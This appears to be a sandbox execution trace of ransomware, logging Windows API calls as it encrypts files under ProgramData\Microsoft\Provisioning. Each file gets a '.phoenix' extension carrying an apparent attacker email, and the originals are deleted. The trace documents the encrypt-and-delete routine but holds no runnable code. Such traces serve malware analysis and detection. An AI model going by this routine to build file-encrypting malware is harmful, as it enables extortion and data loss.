	[0253.677] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.677] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.678] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.678] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.678] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0253.678] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.678] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c2, lpOverlapped=0x0) returned 1
	[0253.700] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0253.700] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0253.926] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0253.926] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.926] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0253.926] CryptDestroyKey (hKey=0x151740) returned 1
	[0253.926] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0253.926] CryptDestroyKey (hKey=0x151400) returned 1
	[0253.926] CloseHandle (hObject=0x2c8) returned 1
	[0253.926] CloseHandle (hObject=0x2b0) returned 1
	[0253.927] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.928] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.928] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.928] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=480) returned 1
	[0253.928] CloseHandle (hObject=0x2b0) returned 1
	[0253.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0253.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.928] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.928] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.928] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.928] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.929] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0253.929] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.929] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0253.930] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0253.930] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0253.931] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0253.931] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.931] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0253.931] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0253.931] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0253.931] CryptDestroyKey (hKey=0x151100) returned 1
	[0253.931] CloseHandle (hObject=0x2b0) returned 1
	[0253.931] CloseHandle (hObject=0x2c8) returned 1
	[0253.931] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0253.932] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.932] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.933] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=657) returned 1
	[0253.933] CloseHandle (hObject=0x2c8) returned 1
	[0253.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.933] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.933] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.933] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.933] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.934] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0253.934] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.934] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x291, lpOverlapped=0x0) returned 1
	[0253.942] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0253.942] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0253.943] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151280) returned 1
	[0253.943] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.943] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0253.943] CryptDestroyKey (hKey=0x151280) returned 1
	[0253.943] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0253.943] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0253.943] CloseHandle (hObject=0x2c8) returned 1
	[0253.943] CloseHandle (hObject=0x2b0) returned 1
	[0253.944] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.944] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.945] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.945] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=768) returned 1
	[0253.945] CloseHandle (hObject=0x2b0) returned 1
	[0253.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.945] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.945] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.945] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.946] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.946] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0253.946] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.946] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x300, lpOverlapped=0x0) returned 1
	[0253.949] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310, dwBufLen=0x310 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310) returned 1
	[0253.949] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x310, lpOverlapped=0x0) returned 1
	[0253.951] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0253.951] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.951] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0253.951] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0253.951] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0253.951] CryptDestroyKey (hKey=0x151400) returned 1
	[0253.951] CloseHandle (hObject=0x2b0) returned 1
	[0253.951] CloseHandle (hObject=0x2c8) returned 1
	[0253.951] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.952] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.952] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.953] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=713) returned 1
	[0253.953] CloseHandle (hObject=0x2c8) returned 1
	[0253.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.953] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.953] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.953] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.954] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.954] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0253.954] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.954] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c9, lpOverlapped=0x0) returned 1
